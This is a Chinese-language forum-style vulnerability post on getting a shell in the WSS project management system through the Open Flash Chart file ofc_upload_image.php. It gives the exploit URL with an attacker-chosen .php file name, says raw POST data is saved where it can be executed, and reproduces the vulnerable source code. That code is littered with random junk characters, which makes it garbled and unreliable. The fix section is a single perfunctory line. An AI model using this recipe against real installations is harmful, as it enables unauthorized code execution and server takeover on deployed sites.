WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
: [7 N" e0 _" ~ 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
5 e2 t6 j# Z' L- w
Post任意数据
) y+ \: h0 h# F9 |& }. K5 n5 l% c& u保存位置http://localhost/chart/tmp-upload-images/hfy.php

* M' u+ w: L' ~4 U: G5 Q. v- r
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

8 p+ B( L* l" J) }<?php

6 E1 e* y+ J# w3 u7 J) n//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
' i: ?2 U" L9 m( s3 s2 {/ e9 [! ~//
5 q0 j" N2 Y: h. O
, ]  d8 p% g% ^. x7 q* B/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
' W. ]9 W/ P* d# j3 |! O) c
; w6 ?. u. o/ x: ?# U*/
: P$ X* J, _0 r9 i0 g2 g) O5 I// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

7 X# m' M8 [2 z9 Cif (!file_exists($default_path)) mkdir($default_path, 0777, true);

/ v0 p: F5 T, c  `% Z// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
) S) q) A2 c) w8 ^) g# B+ X
( y/ G1 i' T0 ~" Lecho 'Saving your image to: '. $destination;
// print_r( $_POST );
' Y- ^: p5 T+ L9 R; Z- g2 l! T" ]// print_r( $_SERVER );
' H) E9 j* W9 B! }) }0 l7 y1 d! u. {// echo $HTTP_RAW_POST_DATA;
1 s% ^+ D5 v( i+ z9 Z" m5 {, k
//
# m% N* {# ^" h' G  e/ x( ^! q// POST data is usually string data, but we are passing a RAW .png
* b( k0 e2 m! F; l+ m8 y6 ]// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

# `' h% F7 P/ T$jfh = fopen($destination, 'w') or die("can't open file");
5 _$ E6 V- o: r- |* lfwrite($jfh, $HTTP_RAW_POST_DATA);
! f/ ~  I, m1 C: W# T* a7 Gfclose($jfh);
8 o% M; q0 z4 l. n: B
//
0 m7 b+ l( L" ]( ?  s// LOOK:
3 O( Y7 R; l# y//
exit();
//
// PHP5:
/ Q, o. K* P" N3 O- J% f//


) S+ W( A# l3 T// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
4 }  D( D% f5 Z
2 X- e  }( [. x4 iif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
  S' G/ a  q* t
' x6 W* p- A1 I  L+ ?7 h// move the image into the specified directory //
4 D: }* F; }% \5 k% G# |if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
1 v0 V4 J, [3 k    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
  T% U5 n, T, R" ~4 l: a    echo "FILE UPLOAD FAILED";
}
. ]2 a0 u6 l9 A2 {! a  p; U9 O

?>

/ t0 k( U8 E+ q6 K


& Q7 D( m6 U' ^

修复方案：
4 i; h3 F- V/ B1 d这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
5 W0 ~& [8 l  o; L

. j( ]3 j1 l# e8 A8 J+ M! l2 Z
! s) `0 e( D  O3 k  ~
1 k/ j2 a" g! B$ T1 T$ ~7 E8 }! i